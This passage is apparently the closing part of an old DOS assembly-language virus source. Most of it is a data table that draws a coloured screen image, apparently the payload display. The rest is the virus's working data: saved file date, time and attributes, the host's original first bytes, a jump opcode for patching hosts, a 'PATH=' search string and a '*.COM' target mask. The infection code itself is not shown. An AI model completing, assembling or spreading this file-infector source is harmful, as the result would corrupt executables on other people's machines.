  565.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  566.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  567.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  568.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'░'
  569.         DB      10,'▒',10,'▓',10,'▒',10,'░',10,' ',15,' ',15,' ',15,' '
  570.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  571.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  572.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  573.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  574.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  575.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  576.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  577.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  578.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,'░',10,'▒'
  579.         DB      10,'▓',10,'█',10,'▓',10,'▒',10,'░',10,' ',15,' ',15,' '
  580.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  581.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  582.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  583.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  584.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  585.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  586.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  587.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  588.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,'░',10,'▒',10,'▓'
  589.         DB      10,'█',10,'█',10,'█',10,'▓',10,'▒',10,'░',10,' ',15,' '
  590.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  591.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  592.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  593.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  594.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  595.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  596.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  597.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  598.         DB      15,' ',15,' ',15,' ',15,' ',15,'░',10,'▒',10,'▓',10,'█'
  599.         DB      10,'█',10,'█',10,'█',10,'█',10,'▓',10,'▒',10,'░',10,' '
  600.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  601.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  602.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  603.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  604.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  605.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  606.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  607.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  608.         DB      15,' ',15,' ',15,' ',15,'░',10,'▒',10,'▓',10,'█',10,'█'
  609.         DB      10,'█',10,'█',10,'█',10,'█',10,'█',10,'▓',10,'▒',10,'░'
  610.         DB      10,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  611.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  612.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  613.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  614.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  615.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  616.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  617.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  618.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  619.         DB      15,'█',6,'█',6,'█',6,' ',15,' ',15,' ',15,' ',15,' ',15
  620.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  621.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  622.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  623.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  624.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  625.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  626.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  627.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  628.         DB      ' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15
  629.         DB      ' ',6,' ',6,' ',6,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  630.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  631.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  632.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  633.         DB      15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' ',15,' '
  634.         DB      15,' ',15,' ',15,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  635.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  636.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  637.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  638.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  639.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  640.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  641.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  642.         DB      6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' ',6,' '
  643.         DB      6,' ',6
  644.  
  645. olddta_ DW      0                       
  646. olddts_ DW      0                       
  647. oldtim_ DW      0                       
  648. oldate_ DW      0                       
  649. oldatt_ DW      0                       
  650. first3_ EQU     $
  651.         INT     20H
  652.         NOP
  653. jmpop_  DB      0E9H                    
  654. jmpdsp_ DW      0                       
  655. pathad_ DW      0                       
  656. namptr_ DW      0                       
  657. envstr_ DB      'PATH='                 
  658. fspec_  DB      '*.COM',0
  659. wrkspc_ DB      40h dup (0)
  660. dta_    DB      16h dup (0)             
  661. dtatim_ DW      0,0                     
  662. dtalen_ DW      0,0                     
  663. dtanam_ DB      0Dh dup (0)             
  664. lst_byt EQU     $                       
  665.                                         
  666. virlen  =       lst_byt - v_start       
  667. codelen =       vir_dat - v_start       
  668. c_len_x =       vir_dat - v_start - 2   
  669. c_len_y =       vir_dat - v_start + 100H
  670. old_dta =       olddta_ - vir_dat       
  671. old_dts =       olddts_ - vir_dat       
  672. old_tim =       oldtim_ - vir_dat       
  673. ol_date =       oldate_ - vir_dat       
  674. old_att =       oldatt_ - vir_dat       
  675. first_3 =       first3_ - vir_dat       
  676. jmp_op  =       jmpop_  - vir_dat       
  677. jmp_dsp =       jmpdsp_ - vir_dat       
  678. f_spec  =       fspec_  - vir_dat       
  679. path_ad =       pathad_ - vir_dat       
  680. nam_ptr =       namptr_ - vir_dat       
  681. env_str =       envstr_ - vir_dat       
  682. wrk_spc =       wrkspc_ - vir_dat       
  683. dta     =       dta_    - vir_dat       
  684. dta_tim =       dtatim_ - vir_dat       
  685. dta_len =       dtalen_ - vir_dat       
  686. dta_nam =       dtanam_ - vir_dat       
  687.  
  688.         CODE    ENDS
  689. END     VCODE
  690.  
  691.